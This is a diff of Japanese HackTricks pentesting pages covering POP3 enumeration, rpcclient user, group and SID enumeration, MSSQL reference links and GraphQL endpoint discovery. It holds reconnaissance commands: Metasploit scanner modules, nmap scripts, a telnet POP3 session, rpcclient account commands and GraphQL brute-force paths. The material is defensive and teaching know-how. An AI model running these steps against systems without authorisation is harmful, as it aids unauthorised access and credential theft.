[MSSQLデータベースリンクサーバーパスワードの復号化](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/) [MSSQLデータベースリンクサーバーパスワードの復号化](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[SQL Server専用管理者接続のトラブルシューティング](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/) [SQL Server専用管理者接続のトラブルシューティング](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
@ -485,16 +483,16 @@ MSSQLサーバーを実行しているユーザーは、特権トークン**SeIm
## 参考文献 ## 参考文献
* [すべてのデータベースユーザーのリストを取得する方法](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users) * [https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
* [SQL Serverログインユーザーの権限を取得する方法](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/) * [https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
* [高度なMSSQLインジェクショントリック](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/) * [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [SQL Serverストアドプロシージャのハッキング - パート1 - 信頼できないデータベース](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/) * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
* [SQL Serverストアドプロシージャのハッキング - パート2 - ユーザー偽装](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/) * [https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
* [Metasploitを使用してSQL Serverを介してSMBリレーアタックを実行する方法](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/) * [https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
* [SQL Serverのレジストリに関する作業](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) * [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -558,14 +556,14 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
``` ```
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**してください
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。 * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** * **ハッキングトリックを共有する、** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,9 +22,9 @@
## 基本情報 ## 基本情報
**ポストオフィスプロトコルPOP**は、コンピューターネットワーキングとインターネットの領域で説明されるプロトコルで、リモートメールサーバーからの電子メールの取り出しと**取得**に使用され、これによりローカルデバイスでアクセスできるようになります。 OSIモデルのアプリケーション層に配置されているこのプロトコルは、ユーザーが電子メールを取得して受信できるようにします。 **POPクライアント**の動作は通常、メールサーバーに接続し、すべてのメッセージをダウンロードし、これらのメッセージをクライアントシステムにローカルに保存し、その後サーバーから削除することを含みます。 このプロトコルには3つのイテレーションがありますが、**POP3**が最も一般的に使用されるバージョンとして際立っています。 **ポストオフィスプロトコルPOP**は、コンピューターネットワーキングとインターネットの領域で説明されるプロトコルで、リモートメールサーバーからの電子メールの取り出しと**取得**に使用され、これによりローカルデバイスでアクセスできるようになります。 OSIモデルのアプリケーション層に配置されているこのプロトコルは、ユーザーが電子メールを取得して受信することを可能にします。 **POPクライアント**の動作は通常、メールサーバーに接続し、すべてのメッセージをダウンロードし、これらのメッセージをクライアントシステムにローカルに保存し、その後サーバーから削除することを含みます。 このプロトコルには3つのイテレーションがありますが、**POP3**が最も一般的に使用されるバージョンとして際立っています。
**デフォルトポート:** 110、995ssl **デフォルトポート:** 110、995SSL
``` ```
PORT STATE SERVICE PORT STATE SERVICE
110/tcp open pop3 110/tcp open pop3
@ -40,7 +40,7 @@ openssl s_client -connect <IP>:995 -crlf -quiet
POP3サーバーの機能を取得するために`CAPA`コマンドを使用できます。 POP3サーバーの機能を取得するために`CAPA`コマンドを使用できます。
## 自動 ## 自動
```bash ```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
``` ```
@ -66,7 +66,7 @@ CAPA Get capabilities
``` ```
### Post Office Protocol (POP) ### Post Office Protocol (POP)
POP is a protocol used by email clients to retrieve emails from a mail server. During a penetration test, you can attempt to brute force POP credentials, conduct user enumeration, or even capture plaintext credentials if the connection is not encrypted. Additionally, you can look for misconfigurations that may lead to unauthorized access to email accounts. POP is a protocol used by email clients to retrieve email from a mail server. During a penetration test, you can attempt to retrieve emails from a target's mail server using tools like `telnet` or dedicated email clients configured to use POP. This can potentially expose sensitive information such as login credentials or confidential data.
``` ```
root@kali:~# telnet $ip 110 root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready +OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -105,7 +105,7 @@ From [https://academy.hackthebox.com/module/112/section/1073](https://academy.ha
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -156,9 +156,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションです。
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)****
* **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。** * **ハッキングトリックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>から<strong>AWSハッキングをゼロからヒーローまで学ぶ</strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。** * **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -22,17 +22,17 @@
### 相対識別子RIDとセキュリティ識別子SIDの概要 ### 相対識別子RIDとセキュリティ識別子SIDの概要
**相対識別子RID**と**セキュリティ識別子SID**は、ネットワークドメイン内のユーザーやグループなどのオブジェクトを一意に識別および管理するためのWindowsオペレーティングシステムの主要コンポーネントです。 **相対識別子RID**と**セキュリティ識別子SID**は、Windowsオペレーティングシステムにおいて、ネットワークドメイン内のユーザーやグループなどのオブジェクトを一意に識別および管理するための重要なコンポーネントです。
- **SIDs**は、各ドメインが区別可能であることを保証するための一意の識別子として機能します。 - **SID**は、各ドメインを区別可能にするための一意の識別子として機能します。
- **RIDs**は、これらのドメイン内のオブジェクトの一意の識別子を作成するためにSIDsに追加されます。この組み合わせにより、オブジェクトの権限とアクセス制御を正確に追跡および管理できます。 - **RID**は、これらのドメイン内のオブジェクトの一意の識別子を作成するためにSIDに追加されます。この組み合わせにより、オブジェクトの権限とアクセス制御を正確に追跡および管理できます。
たとえば、ユーザー名が`pepe`の場合、そのユニークな識別子は、ドメインのSIDと彼の特定のRIDを組み合わせたもので、16進数`0x457`および10進数`1111`の形式で表されます。これにより、pepeのドメイン内での完全かつ一意の識別子が次のようになります:`S-1-5-21-1074507654-1937615267-42093643874-1111`。 たとえば、ユーザー名が`pepe`の場合、そのユニークな識別子は、ドメインのSIDと彼の特定のRIDを組み合わせたもので、16進数`0x457`および10進数`1111`の形式で表されます。これにより、pepeのドメイン内での完全かつ一意の識別子が次のように生成されます:`S-1-5-21-1074507654-1937615267-42093643874-1111`。
### **rpcclientを使用した列挙** ### **rpcclientを使用した列挙**
Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介してRPCエンドポイント**とやり取りするために使用されます。**SMBセッションが確立された後**、しばしば資格情報が必要となります。 Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介してRPCエンドポイント**とやり取りするために使用されます。**SMBセッションが確立された後**、しばしば資格情報が必要となります。
#### サーバー情報 #### サーバー情報
@ -40,9 +40,9 @@ Sambaの**`rpcclient`**ユーティリティは、**名前付きパイプを介
#### ユーザーの列挙 #### ユーザーの列挙
* **ユーザーをリストアップ**するには`querydispinfo`および`enumdomusers`を使用します。 * **ユーザーをリストアップ**するには`querydispinfo`および`enumdomusers`を使用します。
* **ユーザーの詳細**は`queryuser <0xrid>`で取得します。 * **ユーザーの詳細**は`queryuser <0xrid>`で取得します。
* **ユーザーのグループ**は`queryusergroups <0xrid>`で取得します。 * **ユーザーのグループ**は`queryusergroups <0xrid>`で取得します。
* **ユーザーのSID**は、`lookupnames <username>`を使用して取得します。 * **ユーザーのSID**は、`lookupnames <username>`を使用して取得します。
* **ユーザーのエイリアス**は、`queryuseraliases [builtin|domain] <sid>`で取得します。 * **ユーザーのエイリアス**は、`queryuseraliases [builtin|domain] <sid>`で取得します。
```bash ```bash
@ -57,12 +57,12 @@ done
* **グループ**`enumdomgroups`による。 * **グループ**`enumdomgroups`による。
* **グループの詳細**`querygroup <0xrid>`を使用。 * **グループの詳細**`querygroup <0xrid>`を使用。
* **グループのメンバー**`querygroupmem <0xrid>`を介して。 * **グループのメンバー**`querygroupmem <0xrid>`を通じて。
#### エイリアスグループの列挙 #### エイリアスグループの列挙
* **エイリアスグループ**`enumalsgroups <builtin|domain>`による。 * **エイリアスグループ**`enumalsgroups <builtin|domain>`による。
* **エイリアスグループのメンバー**`queryaliasmem builtin|domain <0xrid>`を使用 * **エイリアスグループのメンバー**`queryaliasmem builtin|domain <0xrid>`
#### ドメインの列挙 #### ドメインの列挙
@ -73,13 +73,13 @@ done
#### 共有の列挙 #### 共有の列挙
* **利用可能なすべての共有**`netshareenumall`による。 * **利用可能なすべての共有**`netshareenumall`による。
* **特定の共有に関する情報の取得**`netsharegetinfo <share>`を使用 * **特定の共有に関する情報の取得**`netsharegetinfo <share>`
#### SIDを使用した追加操作 #### SIDを使用した追加操作
* **名前からSIDへの変換**`lookupnames <username>`を使用。 * **名前からSIDへの変換**`lookupnames <username>`を使用。
* **さらなるSID**`lsaenumsid`による * **さらなるSID**`lsaenumsid`を通じて
* **RIDサイクリングによるさらなるSIDの確認**`lookupsids <sid>`によ * **RIDサイクリングによるさらなるSIDの確認**`lookupsids <sid>`によって実行
#### **追加コマンド** #### **追加コマンド**
@ -94,27 +94,27 @@ done
| deletedomuser | ドメインユーザーの削除 | | | deletedomuser | ドメインユーザーの削除 | |
| lookupnames | LSARPC | ユーザー名をSID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8)値に変換する | | lookupnames | LSARPC | ユーザー名をSID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8)値に変換する |
| lookupsids | SIDをユーザー名に変換するRID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)サイクリング) | | | lookupsids | SIDをユーザー名に変換するRID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9)サイクリング) | |
| lsaaddacctrights | ユーザーアカウントに権限を追加する | | | lsaaddacctrights | ユーザーアカウントに権限を追加 | |
| lsaremoveacctrights | ユーザーアカウントから権限を削除する | | | lsaremoveacctrights | ユーザーアカウントから権限を削除 | |
| dsroledominfo | LSARPC-DS | プライマリドメイン情報の取得 | | dsroledominfo | LSARPC-DS | プライマリドメイン情報の取得 |
| dsenumdomtrusts | ADフォレスト内の信頼されドメインの列挙 | | | dsenumdomtrusts | ADフォレスト内の信頼されドメインの列挙 | |
**_samrdump_** **および** **_rpcdump_** の動作を理解するには、[**Pentesting MSRPC**](../135-pentesting-msrpc.md)を参照してください **_samrdump_** **および** **_rpcdump_** の動作を理解するには、[**Pentesting MSRPC**](../135-pentesting-msrpc.md)を読むことをお勧めします
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>でゼロからヒーローまでAWSハッキングを学びましょう</summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong>でゼロからヒーローまでAWSハッキングを学びましょう</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか、またはHackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけてください。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう * [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。
* **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください** * **ハッキングトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)および[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
</details> </details>

View file

@ -4,27 +4,27 @@
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricksをサポートする他の方法:
- **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! - **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する - [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見る - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つけ
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする - **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
- **ハッキングトリックを共有するためにPRを送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに貢献する - **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details> </details>
## はじめに ## 導入
GraphQLは、バックエンドからデータをクエリするための簡略化されたアプローチを提供する**REST APIに対する効率的な代替手段**として**注目**されています。 RESTがデータを収集するためにさまざまなエンドポイントにわたる多数のリクエストを必要とするのに対し、GraphQLは**単一のリクエスト**を介してすべての必要な情報を取得できます。この効率化により、データ取得プロセスの複雑さが軽減され、**開発者**に大きな**利益**がもたらされます。 GraphQLは、バックエンドからデータをクエリするための簡略化されたアプローチを提供する**効率的な代替手段**として**強調**されています。 RESTとは異なり、データを収集するためにさまざまなエンドポイントに対して多数のリクエストが必要なRESTに対し、GraphQLは**単一のリクエスト**を介して必要なすべての情報を取得できます。この効率化により、データ取得プロセスの複雑さが軽減され、開発者にとって大きな**利点**となります。
## GraphQLとセキュリティ ## GraphQLとセキュリティ
GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ脆弱性も発生しています。**GraphQLにはデフォルトで認証メカニズムが含まれていない**ことに注意する必要があります。適切な認証がない場合、GraphQLエンドポイントは認証されていないユーザーに機密情報を公開する可能性があり、重大なセキュリティリスクを引き起こす可能性があります。 GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ脆弱性も発生します。重要な点として、**GraphQLにはデフォルトで認証メカニズムが含まれていない**ことが挙げられます。適切な認証が行われない場合、GraphQLエンドポイントは認証されていないユーザーに機密情報を公開する可能性があり、重大なセキュリティリスクを引き起こすことになります。
### ディレクトリブルートフォース攻撃とGraphQL ### ディレクトリブルートフォース攻撃とGraphQL
公開されたGraphQLインスタンスを特定するために、ディレクトリブルートフォース攻撃に特定のパスを含めることが推奨されています。これらのパスは次のとおりです: 公開されたGraphQLインスタンスを特定するために、ディレクトリブルートフォース攻撃に特定のパスを含めることが推奨されます。これらのパスは次のとおりです
- `/graphql` - `/graphql`
- `/graphiql` - `/graphiql`
@ -35,7 +35,7 @@ GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ
- `/graphql/api` - `/graphql/api`
- `/graphql/graphql` - `/graphql/graphql`
公開されたGraphQLインスタンスを特定することで、サポートされているクエリを調査できます。これは、エンドポイントを介してアクセス可能なデータを理解するために重要です。GraphQLのインスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。詳細については、GraphQLのインスペクションに関するドキュメントを参照してください: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/) 公開されたGraphQLインスタンスを特定することで、サポートされているクエリの調査が可能となります。これは、エンドポイントを介してアクセス可能なデータを理解するために重要です。GraphQLのインスペクションシステムは、スキーマがサポートするクエリを詳細に示すことでこれを容易にします。詳細については、GraphQLのインスペクションに関するドキュメントを参照してください[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
### フィンガープリント ### フィンガープリント
@ -43,13 +43,13 @@ GraphQLを含む新しい技術の登場に伴い、新しいセキュリティ
#### ユニバーサルクエリ <a href="#universal-queries" id="universal-queries"></a> #### ユニバーサルクエリ <a href="#universal-queries" id="universal-queries"></a>
